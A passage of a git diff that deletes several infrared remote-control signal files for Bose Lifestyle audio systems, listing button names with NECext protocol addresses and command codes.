-command: 65 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 66 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 67 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 9D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 9F 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B3 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B3 00 00 -command: B3 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B3 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B3 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B3 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir deleted file mode 100644 index 16894a8c5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir +++ /dev/null @@ -1,578 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 01 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 06 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 06 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 0D 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 15 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 15 00 00 00 -# -name: TCPC_DOWN -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 18 00 00 00 -# -name: TCPC_UP -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 49 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 4C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 56 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 56 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 5C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 63 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 65 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 66 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 67 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 9D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 9F 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B4 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B4 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B4 00 00 -command: B3 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B4 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B4 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B4 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B4 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B4 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir deleted file mode 100644 index bde32e258..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B5 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B5 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B5 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B5 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B5 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B5 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B5 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir deleted file mode 100644 index d97a53a4c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B6 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B6 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B6 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B6 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B6 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B6 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B6 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir deleted file mode 100644 index f03e3c3b6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 01 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 02 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 0E 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 19 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B7 00 00 